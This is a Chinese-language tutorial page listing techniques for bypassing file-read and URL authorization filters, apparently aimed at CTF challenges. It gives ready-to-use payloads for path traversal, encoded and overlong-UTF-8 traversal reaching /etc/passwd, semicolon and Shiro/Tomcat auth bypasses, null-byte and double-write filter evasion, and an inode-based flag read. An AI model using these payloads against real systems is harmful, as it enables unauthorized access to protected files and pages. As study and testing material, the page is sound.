当前位置: 首页 > news >正文

文件读取绕过

例如,要读取http://xxxx/flag.html,但是有限制

(1)目录遍历(../绕过)

注:浏览器也会自动解析../,比如说输入login/../admin,浏览器自己解析了,导致传到服务器就变成了/admin,原来的payload起不到作用,所以不要直接在url输入

原理:Filter未对URI进行标准化处理。攻击者构造../返回上级目录,使URI匹配白名单路径。

payload:

/system/login/../../admin/main.do

Filter认为路径以/system/login开头,放行。

实际解析后路径为admin/main.do,绕过权限校验。

(2)分号截断(;绕过)

1/admin/main.do;123
Filter检查url不是以 `.do` 结尾放行分号后的123作为无效参数不会对原地址有任何影响绕过权限校验
2/;flag.html3http://target.com/path/to/page;param=evil.js
某些服务器如IIS旧版Apache将分号;视为查询参数的分隔符等同于&服务器将;param=evil.js解析为参数忽略它并返回/path/to/page的内容可能是HTML页面))4shiro权限绕过
访问 /admin/page会被重定向到登录页面但通过构造特殊的 URL例如 /;/admin/page可以绕过 Shiro 的权限验证

/xxx;/../admin/page

(3)多斜杠绕过(//)

原理:多加⼀个 / 并不影响正常解析,而又能让该规则匹配不到,成功绕过。
示例:
payload//system//UserInfoSearch.do
服务器解析为/system/UserInfoSearch.do,但Filter未匹配到原始路径

/./system/./system

(4)编码绕过:

【1】URL编码

.编码为%2e
/编码为%2f
../ URL编码为 %2e%2e%2f双重URL编码../ 的双重URL编码为 %252e%252e%252f
(1)http://xxx/..%2fflag.htmlURL 编码斜杠)(2)http://xxx/%2e%2e%2fflag.html(完全编码 ../(3)http://xxx/..%255cflag.html(双重编码)(4)原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.doFilter因未解码无法识别真实路径,放行请求(完全编码)

【2】UTF-8编码:

glassfish文件读取:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果

0xC0 0xAE是字符 .的一种过长的UTF-8编码形式0xC0表示接下来的一个字节0xAE是有效载荷)。根据UTF-8规范这属于非最短形式”,本应是无效的但某些老旧或不规范的解码器会接受它

%c0%ae 表示 .
%c0%ae%c0%ae = ..http://xxx.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

【3】空字节绕过

/1.js/..%00/flag.php

(5)双写绕过

// 不安全的过滤代码
String filename = request.getParameter("filename");
// 只替换一次,攻击者可使用 ....//
filename = filename.replace("../", "");
也可以..././ 

(6)java应用常见的路径绕过处理问题,即访问任意静态文件可绕过鉴权

Java/Spring/Tomcat 等后端框架:将 ; 及其后面的内容视为 矩阵参数(Matrix Parameter) ,在路径规范化时会剥离分号部分,即/1.js/..;/flag.html被规范为/1.js/../flag.html,从而被识别为flag.html

比如/1.js/..;/flag.html或者/js/..;/flag.html
又/flag.html;js
/flag.html;login(原来访问/login.html成功)

(7)Spring MVC追加斜杠

原理:Spring MVC自动去除尾部/,但Filter未处理导致绕过。

示例:payload:

/admin/main.do/

Spring 匹配/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过

(8)inode号绕过

inode是Linux文件系统核心概念,用于存储文件元信息,每个文件都有一个唯一的inode号,操作系统通过inode号识别文件,而不是文件名

ls -i 文件名  查看特定文件的inode号
ls -i /  获得根目录下所有文件的inode号
例flag在/下,用 ls -i / 查看其inode号,得到flag的inode号为78751,
可以用 find / -inum 78751 2>/dev/null获取该文件的路径(flag)
用 cat `find / -inum 78751 2>/dev/null`获取flag

image-20260512230951397

(9)

http://www.jsqmd.com/news/1035988/

相关文章:

  • 2026市面上诚信的邓州装修设计公司排行榜 - 品牌排行榜
  • OpenCore Legacy Patcher终极指南:四步让旧Mac免费升级最新macOS
  • 嵌入式开发板硬件配置与接口应用实战:以EVB9S12NE64为例
  • Windows热键冲突终极排查指南:3分钟定位占用快捷键的元凶
  • 5分钟学会:用m4s-converter将B站缓存视频永久保存为MP4格式
  • 隔离二极管阵列:ESD保护与高速开关的电路设计核心
  • 3步解锁加密音乐:Unlock Music浏览器端转换完全指南
  • 条件竞争绕过
  • League Akari游戏助手:英雄联盟数据分析终极指南
  • NotePic 1.2.0 发布:Obsidian 图片上传后,本地残留也能清理了
  • League Akari:英雄联盟玩家的智能数据分析与游戏优化工具箱
  • 5分钟快速上手:SQLyog社区版——完全免费的MySQL数据库管理神器
  • 【图像增强】基于Retinex模型和多尺度融合的低光照图像增强(含MSE)附Matlab代码
  • CodeWarrior寄存器详情窗口XML配置详解:提升嵌入式调试效率
  • 如何通过智能调度释放CPU性能:CPUDoc完整优化指南
  • i.MX平台Arm SystemReady IR ACS测试与Fedora/openSUSE安装实战指南
  • Ubuntu系统CUDA环境部署全攻略:从驱动到深度学习框架的避坑指南
  • Windows系统文件offfilt.dll丢失找不到问题解决
  • MyComputerManager技术深度解析:基于WPF的Windows注册表管理系统架构实践
  • 嵌入式DSP开发中G.726 ADPCM语音库的许可协议解读与合规集成实践
  • ZigBee Light Link调试集群数据结构与事件枚举深度解析
  • 一键预约,旧衣上门回收小程序上线:开发攻略
  • 5个超实用技巧:用PPTist在线免费制作专业演示文稿
  • 500mW齐纳二极管实战指南:从参数解读到选型设计
  • 深入解析P5040/P5020参考设计板:从硬件架构到系统启动的嵌入式开发实战
  • NXP JN516x MicroMAC API:超低功耗无线传感器节点的底层通信利器
  • ColdFire V2嵌入式开发:异常处理、指令时序与缓存优化全解析
  • 大家都觉得AI帮不了心理咨询行业,但我见过一个人改变了这个想法
  • 免费LLM API终极指南:快速获取20+大语言模型资源
  • Windows环境下Tomcat日志查看、分析与问题排查实战指南